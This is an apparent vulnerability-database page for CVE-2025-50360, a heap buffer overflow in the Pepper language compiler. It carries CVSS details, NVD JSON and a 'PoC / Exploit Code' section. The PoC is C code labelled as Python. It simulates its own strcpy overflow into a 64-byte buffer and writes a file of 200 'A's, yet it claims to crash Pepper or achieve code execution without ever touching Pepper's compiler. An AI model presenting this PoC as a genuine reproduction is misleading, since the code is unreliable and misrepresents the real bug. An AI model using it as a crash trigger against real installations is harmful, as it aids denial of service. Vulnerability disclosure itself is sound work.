Security Vulnerability Report
中文
CVE-2025-50360 CVSS 8.4 HIGH

CVE-2025-50360

Published: 2025-12-03 19:15:56
Last Modified: 2025-12-16 21:08:07

Description

A heap buffer overflow in compiler.c and compiler.h in Pepper language 0.1.1commit 961a5d9988c5986d563310275adad3fd181b2bb7. Malicious execution of a pepper source file(.pr) could lead to arbitrary code execution or Denial of Service.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:dannyvankooten:pepper:0.1.1:*:*:*:*:*:*:* - VULNERABLE
Pepper Language 0.1.1 (commit 961a5d9988c5986d563310275adad3fd181b2bb7)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2025-50360: Heap Buffer Overflow in Pepper Language Compiler * Affected: Pepper Language 0.1.1 (commit 961a5d9988c5986d563310275adad3fd181b2bb7) * * This PoC demonstrates a heap buffer overflow vulnerability in the Pepper compiler. * When compiled with AddressSanitizer, it will detect the heap-buffer-overflow. * * Usage: pepper poc.pr * Expected: Crash or arbitrary code execution */ #include <stdio.h> #include <stdlib.h> #include <string.h> /* Simulated vulnerable compiler parsing function */ void vulnerable_parse(char* input) { /* Allocate fixed-size buffer on heap */ char* buffer = (char*)malloc(64); if (buffer == NULL) { return; } /* Vulnerable: No bounds checking on input length */ strcpy(buffer, input); /* Stack/Heap overflow here */ /* Continue processing (will likely crash) */ printf("Parsed: %s\n", buffer); free(buffer); } /* Generate malicious .pr file content */ void generate_malicious_file(const char* filename) { FILE* fp = fopen(filename, "w"); if (fp == NULL) { printf("Failed to create file\n"); return; } /* Generate payload with oversized string to trigger overflow */ fprintf(fp, "let x = \""); for (int i = 0; i < 200; i++) { /* Exceed 64-byte buffer */ fprintf(fp, "A"); } fprintf(fp, "\"\n"); fclose(fp); printf("Malicious .pr file created: %s\n", filename); } int main() { printf("=== CVE-2025-50360 PoC ===\n"); printf("Generating malicious Pepper source file...\n"); /* Generate malicious .pr file */ generate_malicious_file("poc.pr"); /* Demonstrate the vulnerability locally */ printf("\nDemonstrating heap overflow in vulnerable parser...\n"); /* Create malicious input exceeding buffer size */ char malicious_input[256]; memset(malicious_input, 'A', 255); malicious_input[255] = '\0'; /* This will cause heap-buffer-overflow */ vulnerable_parse(malicious_input); printf("PoC execution completed.\n"); printf("Note: Compile with -fsanitize=address to detect the overflow.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-50360", "sourceIdentifier": "[email protected]", "published": "2025-12-03T19:15:56.420", "lastModified": "2025-12-16T21:08:07.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap buffer overflow in compiler.c and compiler.h in Pepper language 0.1.1commit 961a5d9988c5986d563310275adad3fd181b2bb7. Malicious execution of a pepper source file(.pr) could lead to arbitrary code execution or Denial of Service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dannyvankooten:pepper:0.1.1:*:*:*:*:*:*:*", "matchCriteriaId": "AB2F1E7F-1333-4AFE-8FBA-EA77B9782171"}]}]}], "references": [{"url": "https://github.com/Ch1keen/CVE-2025-50360", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/dannyvankooten/pepper-lang", "source": "[email protected]", "tags": ["Product"]}]}}